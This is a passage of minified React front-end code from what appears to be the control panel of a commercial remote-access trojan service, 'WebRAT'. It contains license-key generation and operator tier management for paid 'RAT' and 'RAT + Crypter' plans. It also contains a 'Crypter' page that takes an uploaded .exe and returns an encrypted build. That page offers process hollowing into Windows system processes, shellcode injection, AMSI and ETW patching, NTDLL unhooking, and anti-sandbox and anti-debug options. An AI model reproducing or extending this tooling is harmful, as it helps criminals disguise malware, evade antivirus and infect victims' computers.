gap-1",children:[a.jsx("button",{type:"button",onClick:()=>v("rat"),className:`px-3 py-1.5 text-xs font-mono border transition-colors ${y==="rat"?"border-zerin-accent/50 bg-zerin-accent/10 text-zerin-accent":"border-zerin-panel-border text-zerin-text-muted hover:text-zerin-text-dim"}`,children:"WebRAT"}),a.jsx("button",{type:"button",onClick:()=>v("rat_crypter"),className:`px-3 py-1.5 text-xs font-mono border transition-colors ${y==="rat_crypter"?"border-zerin-accent/50 bg-zerin-accent/10 text-zerin-accent":"border-zerin-panel-border text-zerin-text-muted hover:text-zerin-text-dim"}`,children:"WebRAT + Crypter"})]})]}),a.jsx("button",{type:"submit",disabled:b,className:`px-4 py-1.5 text-sm font-medium bg-zerin-accent text-black\r + hover:bg-zerin-accent/90 disabled:opacity-50 transition-colors`,children:b?"Generating...":"Generate"})]}),a.jsxs("div",{className:"flex items-center gap-2",children:[a.jsx("span",{className:"text-xs text-zerin-text-muted mr-1",children:"Presets:"}),["1d","7d","30d","90d","365d","lifetime"].map(C=>a.jsx("button",{type:"button",onClick:()=>h(C),className:`px-2 py-0.5 text-xs font-mono border transition-colors ${p===C?"border-zerin-accent/50 bg-zerin-accent/10 text-zerin-accent":"border-zerin-panel-border text-zerin-text-muted hover:text-zerin-text-dim hover:border-zerin-text-muted"}`,children:C},C))]})]}),j&&a.jsxs("div",{className:"space-y-2",children:[a.jsxs("div",{className:"flex items-center gap-2",children:[a.jsx("code",{className:`flex-1 block p-3 text-xs font-mono bg-zerin-bg border border-zerin-accent/30\r + text-zerin-accent break-all select-all`,children:j}),a.jsx("button",{onClick:te,className:`px-3 py-2 text-xs text-zerin-text-dim border border-zerin-panel-border\r + hover:bg-zerin-panel-hover transition-colors shrink-0`,children:k?"Copied!":"Copy"})]}),a.jsx("p",{className:"text-xs text-amber-400",children:"Copy this key now — it cannot be retrieved later."})]})]}),a.jsx("div",{className:"border border-zerin-panel-border overflow-x-auto",children:a.jsxs("table",{className:"w-full text-sm",children:[a.jsx("thead",{children:a.jsxs("tr",{className:"bg-zerin-panel text-zerin-text-muted text-xs uppercase tracking-wider",children:[a.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Key ID"}),a.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Status"}),a.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Tier"}),a.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Created"}),a.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Expires"}),a.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Activated By"}),a.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Uses"}),a.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Source"}),a.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Actions"})]})}),a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:n.length===0?a.jsx("tr",{children:a.jsx("td",{colSpan:9,className:"px-4 py-8 text-center text-zerin-text-muted",children:"No license keys found"})}):n.map(C=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover transition-colors",children:[a.jsxs("td",{className:"px-4 py-3 font-mono text-xs text-zerin-text-dim",title:C.key_id,children:[C.key_id.substring(0,8),"..."]}),a.jsx("td",{className:"px-4 py-3",children:a.jsx(Yb,{status:C.status})}),a.jsx("td",{className:"px-4 py-3",children:a.jsx("span",{className:`inline-block px-2 py-0.5 text-xs font-mono border ${C.tier==="rat_crypter"?"bg-purple-500/10 text-purple-400 border-purple-500/20":"bg-zinc-500/10 text-zinc-400 border-zinc-500/20"}`,children:C.tier==="rat_crypter"?"RAT + Crypter":"RAT"})}),a.jsx("td",{className:"px-4 py-3 text-zerin-text-dim text-xs",children:Mm(C.created_at)}),a.jsx("td",{className:"px-4 py-3 text-zerin-text-dim text-xs",children:Mm(C.expires_at)}),a.jsx("td",{className:"px-4 py-3 text-zerin-text-dim",children:C.activated_by||"—"}),a.jsx("td",{className:"px-4 py-3 text-zerin-text-dim font-mono",children:C.use_count}),a.jsx("td",{className:"px-4 py-3 text-zerin-text-muted text-xs",children:C.generated_by}),a.jsx("td",{className:"px-4 py-3",children:C.status!=="revoked"&&C.status!=="expired"?S===C.key_id?a.jsxs("div",{className:"flex items-center gap-2",children:[a.jsx("button",{onClick:()=>be(C.key_id),className:`px-2 py-1 text-xs text-red-400 border border-red-500/30\r + hover:bg-red-500/10 transition-colors`,children:"Confirm"}),a.jsx("button",{onClick:()=>O(null),className:`px-2 py-1 text-xs text-zerin-text-muted\r + hover:text-zerin-text-dim transition-colors`,children:"Cancel"})]}):a.jsx("button",{onClick:()=>O(C.key_id),className:`px-2 py-1 text-xs text-red-400 border border-red-500/20\r + hover:bg-red-500/10 transition-colors`,children:"Revoke"}):a.jsx("span",{className:"text-xs text-zerin-text-muted",children:"—"})})]},C.key_id))})]})})]}):a.jsxs("div",{className:"space-y-4",children:[a.jsx("div",{className:"flex items-center gap-3",children:a.jsx("button",{onClick:ae,className:`px-3 py-1.5 text-sm text-zerin-text-dim border border-zerin-panel-border\r + hover:bg-zerin-panel-hover transition-colors`,children:"Refresh"})}),a.jsx("div",{className:"border border-zerin-panel-border overflow-x-auto",children:a.jsxs("table",{className:"w-full text-sm",children:[a.jsx("thead",{children:a.jsxs("tr",{className:"bg-zerin-panel text-zerin-text-muted text-xs uppercase tracking-wider",children:[a.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Username"}),a.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Role"}),a.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Tier"}),a.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"License Status"}),a.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"License Expires"}),a.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Created"}),a.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Actions"})]})}),a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.length===0?a.jsx("tr",{children:a.jsx("td",{colSpan:7,className:"px-4 py-8 text-center text-zerin-text-muted",children:"No operators found"})}):i.map(C=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover transition-colors",children:[a.jsx("td",{className:"px-4 py-3 text-zerin-text font-medium",children:C.username}),a.jsx("td",{className:"px-4 py-3",children:a.jsx(MV,{role:C.role})}),a.jsx("td",{className:"px-4 py-3",children:a.jsx("span",{className:`inline-block px-2 py-0.5 text-xs font-mono border ${C.tier==="rat_crypter"?"bg-purple-500/10 text-purple-400 border-purple-500/20":"bg-zinc-500/10 text-zinc-400 border-zinc-500/20"}`,children:C.tier==="rat_crypter"?"RAT + Crypter":"RAT"})}),a.jsx("td",{className:"px-4 py-3",children:C.license_status?a.jsx(Yb,{status:C.license_status}):a.jsx("span",{className:"text-xs text-zerin-text-muted",children:"none"})}),a.jsx("td",{className:"px-4 py-3 text-zerin-text-dim text-xs",children:C.license_expires_at?Mm(C.license_expires_at):"—"}),a.jsx("td",{className:"px-4 py-3 text-zerin-text-dim text-xs",children:C.created_at}),a.jsx("td",{className:"px-4 py-3",children:a.jsxs("div",{className:"flex items-center gap-1.5",children:[a.jsx("button",{onClick:()=>{T(C),D("30d")},className:`px-2 py-1 text-xs text-emerald-400 border border-emerald-500/20\r + hover:bg-emerald-500/10 transition-colors`,children:"Add Time"}),a.jsx("button",{onClick:()=>{_(C),F(C.tier==="rat_crypter"?"rat":"rat_crypter")},className:`px-2 py-1 text-xs text-purple-400 border border-purple-500/20\r + hover:bg-purple-500/10 transition-colors`,children:"Set Tier"})]})})]},C.id))})]})})]}),A&&a.jsx("div",{className:"fixed inset-0 z-50 flex items-center justify-center bg-black/60",onClick:()=>T(null),children:a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-6 w-96 space-y-4",onClick:C=>C.stopPropagation(),children:[a.jsxs("h3",{className:"text-sm font-semibold text-zerin-text",children:["Add Time — ",a.jsx("span",{className:"text-zerin-accent",children:A.username})]}),a.jsxs("div",{children:[a.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:"Duration to add"}),a.jsx("input",{type:"text",value:P,onChange:C=>D(C.target.value),placeholder:"7d, 30d, 365d, lifetime",className:`w-full px-3 py-1.5 text-sm bg-zerin-bg border border-zerin-panel-border\r + text-zerin-text placeholder-zerin-text-muted focus:border-zerin-accent focus:outline-none`})]}),a.jsx("div",{className:"flex flex-wrap gap-1.5",children:["7d","30d","90d","365d","lifetime"].map(C=>a.jsx("button",{onClick:()=>D(C),className:`px-2.5 py-1 text-xs font-mono border transition-colors ${P===C?"border-zerin-accent/50 bg-zerin-accent/10 text-zerin-accent":"border-zerin-panel-border text-zerin-text-muted hover:text-zerin-text-dim"}`,children:C},C))}),a.jsxs("div",{className:"flex gap-2 pt-2",children:[a.jsx("button",{onClick:ye,disabled:G,className:`flex-1 px-4 py-2 text-sm font-medium bg-emerald-600 text-white\r + hover:bg-emerald-700 disabled:opacity-50 transition-colors`,children:G?"Extending...":"Add Time"}),a.jsx("button",{onClick:()=>T(null),className:`px-4 py-2 text-sm text-zerin-text-muted border border-zerin-panel-border\r + hover:bg-zerin-panel-hover transition-colors`,children:"Cancel"})]})]})}),K&&a.jsx("div",{className:"fixed inset-0 z-50 flex items-center justify-center bg-black/60",onClick:()=>_(null),children:a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-6 w-96 space-y-4",onClick:C=>C.stopPropagation(),children:[a.jsxs("h3",{className:"text-sm font-semibold text-zerin-text",children:["Set Tier — ",a.jsx("span",{className:"text-zerin-accent",children:K.username})]}),a.jsxs("div",{className:"flex gap-2",children:[a.jsx("button",{onClick:()=>F("rat"),className:`flex-1 px-4 py-2.5 text-sm font-mono border transition-colors ${M==="rat"?"border-zerin-accent/50 bg-zerin-accent/10 text-zerin-accent":"border-zerin-panel-border text-zerin-text-muted hover:text-zerin-text-dim"}`,children:"WebRAT"}),a.jsx("button",{onClick:()=>F("rat_crypter"),className:`flex-1 px-4 py-2.5 text-sm font-mono border transition-colors ${M==="rat_crypter"?"border-purple-500/50 bg-purple-500/10 text-purple-400":"border-zerin-panel-border text-zerin-text-muted hover:text-zerin-text-dim"}`,children:"WebRAT + Crypter"})]}),a.jsxs("div",{className:"flex gap-2 pt-2",children:[a.jsx("button",{onClick:q,disabled:U,className:`flex-1 px-4 py-2 text-sm font-medium bg-purple-600 text-white\r + hover:bg-purple-700 disabled:opacity-50 transition-colors`,children:U?"Updating...":"Update Tier"}),a.jsx("button",{onClick:()=>_(null),className:`px-4 py-2 text-sm text-zerin-text-muted border border-zerin-panel-border\r + hover:bg-zerin-panel-hover transition-colors`,children:"Cancel"})]})]})})]})}const qb=[{at:0,msg:"Initializing encryption engine..."},{at:8,msg:"Generating random XOR key (256-bit)..."},{at:14,msg:"Deriving AES-256-CBC session key via PBKDF2..."},{at:20,msg:"Parsing PE headers... IMAGE_NT_SIGNATURE OK"},{at:28,msg:"Mapping sections: .text .rdata .data .rsrc .reloc"},{at:38,msg:"Encrypting payload sections (XOR pass)..."},{at:48,msg:"Encrypting payload sections (AES pass)..."},{at:55,msg:"Building injection stub..."},{at:62,msg:"Patching entry point → stub trampoline"},{at:70,msg:"Applying evasion layers..."},{at:78,msg:"Compiling output binary..."},{at:85,msg:"Stripping debug symbols & Rich header"},{at:92,msg:"Obfuscating PE metadata (timestamp, linker)"},{at:98,msg:"Validating output integrity... SHA-256 OK"}],IV=[{path:"C:\\Windows\\System32\\svchost.exe",label:"svchost.exe",desc:"Service host (recommended)"},{path:"C:\\Windows\\System32\\RuntimeBroker.exe",label:"RuntimeBroker.exe",desc:"UWP broker"},{path:"C:\\Windows\\System32\\dllhost.exe",label:"dllhost.exe",desc:"COM surrogate"},{path:"C:\\Windows\\explorer.exe",label:"explorer.exe",desc:"Windows shell"}],Pa=[{key:"unhook_ntdll",label:"NTDLL Unhook",desc:"Replace hooked ntdll .text with clean copy from \\KnownDlls\\",icon:a.jsx("svg",{viewBox:"0 0 20 20",fill:"currentColor",className:"w-4 h-4",children:a.jsx("path",{fillRule:"evenodd",d:"M12.293 4.293a1 1 0 0 1 1.414 0l4 4a1 1 0 0 1 0 1.414l-4 4a1 1 0 0 1-1.414-1.414L14.586 10H3a1 1 0 1 1 0-2h11.586l-2.293-2.293a1 1 0 0 1 0-1.414Z",clipRule:"evenodd"})})},{key:"amsi_bypass",label:"AMSI Bypass",desc:"Patch AmsiOpenSession to return AMSI_RESULT_CLEAN",icon:a.jsx("svg",{viewBox:"0 0 20 20",fill:"currentColor",className:"w-4 h-4",children:a.jsx("path",{fillRule:"evenodd",d:"M10 1a4.5 4.5 0 0 0-4.5 4.5V9H5a2 2 0 0 0-2 2v6a2 2 0 0 0 2 2h10a2 2 0 0 0 2-2v-6a2 2 0 0 0-2-2h-.5V5.5A4.5 4.5 0 0 0 10 1Zm3 8V5.5a3 3 0 1 0-6 0V9h6Z",clipRule:"evenodd"})})},{key:"etw_patch",label:"ETW Patch",desc:"Patch EtwEventWrite with xor eax,eax; ret",icon:a.jsxs("svg",{viewBox:"0 0 20 20",fill:"currentColor",className:"w-4 h-4",children:[a.jsx("path",{d:"M10 12.5a2.5 2.5 0 1 0 0-5 2.5 2.5 0 0 0 0 5Z"}),a.jsx("path",{fillRule:"evenodd",d:"M.664 10.59a1.651 1.651 0 0 1 0-1.186A10.004 10.004 0 0 1 10 3c4.257 0 7.893 2.66 9.336 6.41.147.381.146.804 0 1.186A10.004 10.004 0 0 1 10 17c-4.257 0-7.893-2.66-9.336-6.41ZM14 10a4 4 0 1 1-8 0 4 4 0 0 1 8 0Z",clipRule:"evenodd"})]})},{key:"anti_sandbox",label:"Anti-Sandbox",desc:"Score-based VM/sandbox detection (3-tier weighted system)",icon:a.jsx("svg",{viewBox:"0 0 20 20",fill:"currentColor",className:"w-4 h-4",children:a.jsx("path",{fillRule:"evenodd",d:"M8.485 2.495c.673-1.167 2.357-1.167 3.03 0l6.28 10.875c.673 1.167-.17 2.625-1.516 2.625H3.72c-1.347 0-2.189-1.458-1.515-2.625L8.485 2.495ZM10 5a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 10 5Zm0 9a1 1 0 1 0 0-2 1 1 0 0 0 0 2Z",clipRule:"evenodd"})})},{key:"anti_debug",label:"Anti-Debug",desc:"NtQueryInformationProcess + ProcessDebugPort/ObjectHandle",icon:a.jsx("svg",{viewBox:"0 0 20 20",fill:"currentColor",className:"w-4 h-4",children:a.jsx("path",{fillRule:"evenodd",d:"M10 18a8 8 0 1 0 0-16 8 8 0 0 0 0 16ZM6.75 9.25a.75.75 0 0 0 0 1.5h6.5a.75.75 0 0 0 0-1.5h-6.5Z",clipRule:"evenodd"})})}],Xb=` + @keyframes crypterScanLine { + 0% { top: -2px; opacity: 0; } + 10% { opacity: 1; } + 90% { opacity: 1; } + 100% { top: calc(100% + 2px); opacity: 0; } + } + @keyframes crypterPulseRing { + 0%, 100% { box-shadow: 0 0 0 0 rgba(6, 182, 212, 0.15); } + 50% { box-shadow: 0 0 0 6px rgba(6, 182, 212, 0); } + } + @keyframes crypterTerminalBlink { + 0%, 100% { opacity: 1; } + 50% { opacity: 0; } + } + @keyframes crypterLayerIn { + 0% { opacity: 0; transform: translateX(-6px); } + 100% { opacity: 1; transform: translateX(0); } + } + @keyframes crypterProgressGlow { + 0%, 100% { box-shadow: 0 0 8px rgba(6, 182, 212, 0.3); } + 50% { box-shadow: 0 0 20px rgba(6, 182, 212, 0.6); } + } + @keyframes crypterHexScroll { + 0% { transform: translateY(0); } + 100% { transform: translateY(-50%); } + } + @keyframes crypterCheckIn { + 0% { transform: scale(0.5); opacity: 0; } + 50% { transform: scale(1.15); } + 100% { transform: scale(1); opacity: 1; } + } + .crypter-scan-line { + position: absolute; + left: 0; + right: 0; + height: 1px; + background: linear-gradient(90deg, transparent, #06B6D4, transparent); + animation: crypterScanLine 2.5s ease-in-out infinite; + pointer-events: none; + } + .crypter-pulse-ring { + animation: crypterPulseRing 2s ease-in-out infinite; + } + .crypter-terminal-cursor::after { + content: '█'; + animation: crypterTerminalBlink 0.8s step-end infinite; + color: #06B6D4; + } + .crypter-layer-enter { + animation: crypterLayerIn 0.3s ease-out forwards; + } + .crypter-progress-glow { + animation: crypterProgressGlow 1.5s ease-in-out infinite; + } + .crypter-check-in { + animation: crypterCheckIn 0.35s cubic-bezier(0.34, 1.56, 0.64, 1) forwards; + } +`;function DV(e){const t=[];for(let n=0;nMath.floor(Math.random()*256).toString(16).toUpperCase().padStart(2,"0")).join(" ");t.push(`${r} ${i}`)}return t}function RV(){const{isAdmin:e}=ya(),n=kj()==="rat_crypter"||e,[r,i]=m.useState(null),[s,o]=m.useState("runpe"),[l,c]=m.useState("C:\\Windows\\System32\\svchost.exe"),[u,d]=m.useState(0),[f,p]=m.useState({anti_sandbox:!0,anti_debug:!0,unhook_ntdll:!0,amsi_bypass:!0,etw_patch:!0}),[h,x]=m.useState(!1),[g,y]=m.useState(0),[v,b]=m.useState(""),[w,j]=m.useState(!1),[N,k]=m.useState([]),[z,S]=m.useState(!1),O=m.useRef(null),A=m.useRef(null),[T]=m.useState(()=>DV(24)),P=Object.values(f).filter(Boolean).length,D=m.useCallback(_=>{p(M=>({...M,[_]:!M[_]}))},[]),G=m.useCallback(_=>{_.preventDefault(),j(!1);const M=_.dataTransfer.files[0];M&&(i(M),S(!1))},[]),R=m.useCallback(()=>{i(null),S(!1),k([]),y(0),O.current&&(O.current.value="")},[]);m.useEffect(()=>{if(!h)return;k([]);let _=0;const M=setInterval(()=>{if(_=F.at||_===0)&&(k(U=>[...U,F.msg]),_++)}},800+Math.random()*600);return()=>clearInterval(M)},[h]),m.useEffect(()=>{A.current&&(A.current.scrollTop=A.current.scrollHeight)},[N]);const K=m.useCallback(async()=>{if(!(!r||h)){x(!0),b(""),y(5),S(!1);try{const _=new FormData;_.append("file",r),_.append("mode",s),_.append("target_process",l),_.append("sleep_seconds",u.toString()),_.append("anti_sandbox",f.anti_sandbox.toString()),_.append("anti_debug",f.anti_debug.toString()),_.append("unhook_ntdll",f.unhook_ntdll.toString()),_.append("amsi_bypass",f.amsi_bypass.toString()),_.append("etw_patch",f.etw_patch.toString()),y(20);const M=setInterval(()=>{y(Z=>{const ae=90-Z,ue=Math.max(1,ae*.08);return Math.min(Z+ue,90)})},1200),F=await p6(_);clearInterval(M),y(100),S(!0);const U=URL.createObjectURL(F),V=document.createElement("a");V.href=U,V.download=r.name.replace(/\.exe$/i,"")+"_crypted.exe",document.body.appendChild(V),V.click(),document.body.removeChild(V),URL.revokeObjectURL(U)}catch(_){b(_.message||"Build failed"),y(0)}finally{x(!1)}}},[r,h,s,l,u,f]);return n?a.jsxs("div",{className:"h-full flex flex-col overflow-hidden",children:[a.jsx("style",{children:Xb}),a.jsxs("div",{className:"flex-none px-6 py-4 border-b border-zerin-panel-border flex items-center justify-between",children:[a.jsxs("div",{className:"flex items-center gap-3",children:[a.jsx("div",{className:"w-8 h-8 bg-zerin-accent/10 border border-zerin-accent/20 flex items-center justify-center",children:a.jsx("svg",{className:"w-4 h-4 text-zerin-accent",viewBox:"0 0 20 20",fill:"currentColor",children:a.jsx("path",{fillRule:"evenodd",d:"M10 1a4.5 4.5 0 0 0-4.5 4.5V9H5a2 2 0 0 0-2 2v6a2 2 0 0 0 2 2h10a2 2 0 0 0 2-2v-6a2 2 0 0 0-2-2h-.5V5.5A4.5 4.5 0 0 0 10 1Zm3 8V5.5a3 3 0 1 0-6 0V9h6Z",clipRule:"evenodd"})})}),a.jsxs("div",{children:[a.jsx("h1",{className:"font-display text-lg font-bold text-zerin-text leading-none",children:"Crypter"}),a.jsx("p",{className:"font-mono text-[10px] text-zerin-text-muted mt-0.5 tracking-wide",children:"PE ENCRYPTION ENGINE"})]})]}),a.jsxs("div",{className:"flex items-center gap-4",children:[a.jsxs("div",{className:"flex items-center gap-2 bg-zerin-bg border border-zerin-panel-border px-3 py-1.5",children:[a.jsx("div",{className:"flex gap-0.5",children:Pa.map(_=>a.jsx("div",{className:`w-1.5 h-3 transition-colors duration-300 ${f[_.key]?"bg-zerin-accent":"bg-zerin-panel-border"}`},_.key))}),a.jsxs("span",{className:"font-mono text-[11px] text-zerin-text-dim",children:[P,"/",Pa.length]})]}),a.jsx("div",{className:"font-mono text-[10px] text-zerin-text-muted border border-zerin-panel-border px-2 py-1 tracking-wider",children:"XOR + AES-256-CBC"})]})]}),a.jsx("div",{className:"flex-1 overflow-y-auto custom-scrollbar",children:a.jsxs("div",{className:"max-w-6xl mx-auto px-6 py-6 space-y-5",children:[a.jsxs("div",{className:`relative overflow-hidden transition-all duration-300 cursor-pointer group + ${r?"border border-zerin-accent/30 bg-zerin-accent/[0.03]":w?"border-2 border-dashed border-zerin-accent bg-zerin-accent/5":"border border-dashed border-zerin-panel-border-hover hover:border-zerin-text-muted/30"}`,onDragOver:_=>{_.preventDefault(),j(!0)},onDragLeave:()=>j(!1),onDrop:G,onClick:()=>{var _;return!r&&((_=O.current)==null?void 0:_.click())},children:[!r&&a.jsx("div",{className:"absolute inset-0 overflow-hidden pointer-events-none opacity-[0.04]",children:a.jsx("div",{className:"font-mono text-[9px] leading-[14px] text-zerin-text whitespace-pre select-none pt-1 pl-3",style:{animation:"crypterHexScroll 30s linear infinite"},children:T.concat(T).map((_,M)=>a.jsx("div",{children:_},M))})}),!r&&!w&&a.jsx("div",{className:"crypter-scan-line"}),a.jsx("input",{ref:O,type:"file",accept:".exe",className:"hidden",onChange:_=>{var F;const M=(F=_.target.files)==null?void 0:F[0];M&&(i(M),S(!1))}}),r?a.jsxs("div",{className:"relative px-5 py-4 flex items-center gap-4",children:[a.jsx("div",{className:"flex-none w-10 h-10 bg-zerin-accent/10 border border-zerin-accent/25 flex items-center justify-center crypter-pulse-ring",children:a.jsx("svg",{className:"w-5 h-5 text-zerin-accent",viewBox:"0 0 20 20",fill:"currentColor",children:a.jsx("path",{fillRule:"evenodd",d:"M4.5 2A1.5 1.5 0 0 0 3 3.5v13A1.5 1.5 0 0 0 4.5 18h11a1.5 1.5 0 0 0 1.5-1.5V7.621a1.5 1.5 0 0 0-.44-1.06l-4.12-4.122A1.5 1.5 0 0 0 11.378 2H4.5Zm7.75 9.75a.75.75 0 0 0 0-1.5h-4.5a.75.75 0 0 0 0 1.5h4.5Z",clipRule:"evenodd"})})}),a.jsxs("div",{className:"flex-1 min-w-0",children:[a.jsx("div",{className:"font-mono text-sm text-zerin-text truncate",children:r.name}),a.jsxs("div",{className:"flex items-center gap-3 mt-0.5",children:[a.jsx("span",{className:"font-mono text-[11px] text-zerin-text-muted",children:r.size<1024*1024?`${(r.size/1024).toFixed(1)} KB`:`${(r.size/(1024*1024)).toFixed(2)} MB`}),a.jsx("span",{className:"text-zerin-panel-border",children:"·"}),a.jsx("span",{className:"font-mono text-[11px] text-zerin-accent/70",children:"PE32+ executable"})]})]}),a.jsx("button",{onClick:_=>{_.stopPropagation(),R()},className:"flex-none p-1.5 text-zerin-text-muted hover:text-zerin-danger transition-colors",title:"Remove file",children:a.jsx("svg",{className:"w-4 h-4",viewBox:"0 0 20 20",fill:"currentColor",children:a.jsx("path",{d:"M6.28 5.22a.75.75 0 0 0-1.06 1.06L8.94 10l-3.72 3.72a.75.75 0 1 0 1.06 1.06L10 11.06l3.72 3.72a.75.75 0 1 0 1.06-1.06L11.06 10l3.72-3.72a.75.75 0 0 0-1.06-1.06L10 8.94 6.28 5.22Z"})})})]}):a.jsxs("div",{className:"relative px-5 py-8 text-center",children:[a.jsx("div",{className:"w-12 h-12 mx-auto mb-3 border border-zerin-panel-border-hover flex items-center justify-center group-hover:border-zerin-text-muted/30 transition-colors",children:a.jsxs("svg",{className:"w-5 h-5 text-zerin-text-muted group-hover:text-zerin-text-dim transition-colors",viewBox:"0 0 20 20",fill:"currentColor",children:[a.jsx("path",{d:"M9.25 13.25a.75.75 0 0 0 1.5 0V4.636l2.955 3.129a.75.75 0 0 0 1.09-1.03l-4.25-4.5a.75.75 0 0 0-1.09 0l-4.25 4.5a.75.75 0 1 0 1.09 1.03L9.25 4.636v8.614Z"}),a.jsx("path",{d:"M3.5 12.75a.75.75 0 0 0-1.5 0v2.5A2.75 2.75 0 0 0 4.75 18h10.5A2.75 2.75 0 0 0 18 15.25v-2.5a.75.75 0 0 0-1.5 0v2.5c0 .69-.56 1.25-1.25 1.25H4.75c-.69 0-1.25-.56-1.25-1.25v-2.5Z"})]})}),a.jsxs("p",{className:"font-mono text-sm text-zerin-text-dim",children:["Drop a ",a.jsx("span",{className:"text-zerin-accent",children:".exe"})," here or click to browse"]}),a.jsx("p",{className:"font-mono text-[11px] text-zerin-text-muted mt-1",children:"Max 50 MB · Windows PE executables only"})]})]}),a.jsxs("div",{className:"grid lg:grid-cols-5 gap-5",children:[a.jsxs("div",{className:"lg:col-span-3 space-y-5",children:[a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border",children:[a.jsxs("div",{className:"px-4 py-3 border-b border-zerin-panel-border flex items-center gap-2",children:[a.jsx("span",{className:"w-1 h-3 bg-zerin-accent"}),a.jsx("span",{className:"font-mono text-xs text-zerin-text-dim uppercase tracking-wider",children:"Injection Mode"})]}),a.jsxs("div",{className:"p-4",children:[a.jsxs("div",{className:"grid grid-cols-2 gap-3",children:[a.jsxs("button",{onClick:()=>o("runpe"),className:`relative p-4 text-left border transition-all duration-200 group/mode ${s==="runpe"?"border-zerin-accent bg-zerin-accent/[0.06]":"border-zerin-panel-border hover:border-zerin-panel-border-hover"}`,children:[s==="runpe"&&a.jsx("div",{className:"absolute top-2 right-2 w-2 h-2 bg-zerin-accent"}),a.jsxs("div",{className:"flex items-center gap-2 mb-2",children:[a.jsx("svg",{className:`w-4 h-4 ${s==="runpe"?"text-zerin-accent":"text-zerin-text-muted"}`,viewBox:"0 0 20 20",fill:"currentColor",children:a.jsx("path",{d:"M15.98 1.804a1 1 0 0 0-1.96 0l-.24 1.192a1 1 0 0 1-.784.785l-1.192.238a1 1 0 0 0 0 1.962l1.192.238a1 1 0 0 1 .785.785l.238 1.192a1 1 0 0 0 1.962 0l.238-1.192a1 1 0 0 1 .785-.785l1.192-.238a1 1 0 0 0 0-1.962l-1.192-.238a1 1 0 0 1-.785-.785l-.238-1.192ZM6.949 5.684a1 1 0 0 0-1.898 0l-.683 2.051a1 1 0 0 1-.633.633l-2.051.683a1 1 0 0 0 0 1.898l2.051.684a1 1 0 0 1 .633.632l.683 2.051a1 1 0 0 0 1.898 0l.683-2.051a1 1 0 0 1 .633-.633l2.051-.683a1 1 0 0 0 0-1.898l-2.051-.683a1 1 0 0 1-.633-.633L6.95 5.684Z"})}),a.jsx("span",{className:`font-mono text-sm font-semibold ${s==="runpe"?"text-zerin-accent":"text-zerin-text-dim"}`,children:"RunPE"})]}),a.jsx("div",{className:"font-mono text-[11px] text-zerin-text-muted leading-relaxed",children:"Process hollowing — spawns target, unmaps image, writes payload into process memory space"})]}),a.jsxs("button",{onClick:()=>o("shellcode"),className:`relative p-4 text-left border transition-all duration-200 group/mode ${s==="shellcode"?"border-zerin-accent bg-zerin-accent/[0.06]":"border-zerin-panel-border hover:border-zerin-panel-border-hover"}`,children:[s==="shellcode"&&a.jsx("div",{className:"absolute top-2 right-2 w-2 h-2 bg-zerin-accent"}),a.jsxs("div",{className:"flex items-center gap-2 mb-2",children:[a.jsx("svg",{className:`w-4 h-4 ${s==="shellcode"?"text-zerin-accent":"text-zerin-text-muted"}`,viewBox:"0 0 20 20",fill:"currentColor",children:a.jsx("path",{fillRule:"evenodd",d:"M6.28 5.22a.75.75 0 0 1 0 1.06L2.56 10l3.72 3.72a.75.75 0 0 1-1.06 1.06L.97 10.53a.75.75 0 0 1 0-1.06l4.25-4.25a.75.75 0 0 1 1.06 0Zm7.44 0a.75.75 0 0 1 1.06 0l4.25 4.25a.75.75 0 0 1 0 1.06l-4.25 4.25a.75.75 0 0 1-1.06-1.06L17.44 10l-3.72-3.72a.75.75 0 0 1 0-1.06ZM11.377 2.011a.75.75 0 0 1 .612.867l-2.5 14.5a.75.75 0 0 1-1.478-.255l2.5-14.5a.75.75 0 0 1 .866-.612Z",clipRule:"evenodd"})}),a.jsx("span",{className:`font-mono text-sm font-semibold ${s==="shellcode"?"text-zerin-accent":"text-zerin-text-dim"}`,children:"Shellcode"})]}),a.jsx("div",{className:"font-mono text-[11px] text-zerin-text-muted leading-relaxed",children:"VirtualAlloc + new thread — allocates RWX memory, copies decrypted payload, creates execution thread"})]})]}),s==="runpe"&&a.jsxs("div",{className:"mt-4 pt-4 border-t border-zerin-panel-border",children:[a.jsx("div",{className:"flex items-center justify-between mb-2.5",children:a.jsx("label",{className:"font-mono text-[11px] text-zerin-text-muted uppercase tracking-wider",children:"Target Process"})}),a.jsx("div",{className:"flex flex-wrap gap-1.5 mb-2.5",children:IV.map(_=>a.jsx("button",{onClick:()=>c(_.path),className:`font-mono text-[11px] px-2 py-1 border transition-colors ${l===_.path?"border-zerin-accent/40 bg-zerin-accent/10 text-zerin-accent":"border-zerin-panel-border text-zerin-text-muted hover:text-zerin-text-dim hover:border-zerin-panel-border-hover"}`,title:_.desc,children:_.label},_.path))}),a.jsx("input",{type:"text",value:l,onChange:_=>c(_.target.value),className:"w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2 text-sm font-mono text-zerin-text focus:border-zerin-accent focus:outline-none focus:ring-1 focus:ring-zerin-accent/20 transition-all",placeholder:"C:\\Windows\\System32\\svchost.exe"})]})]})]}),a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border",children:[a.jsxs("div",{className:"px-4 py-3 border-b border-zerin-panel-border flex items-center gap-2",children:[a.jsx("span",{className:"w-1 h-3 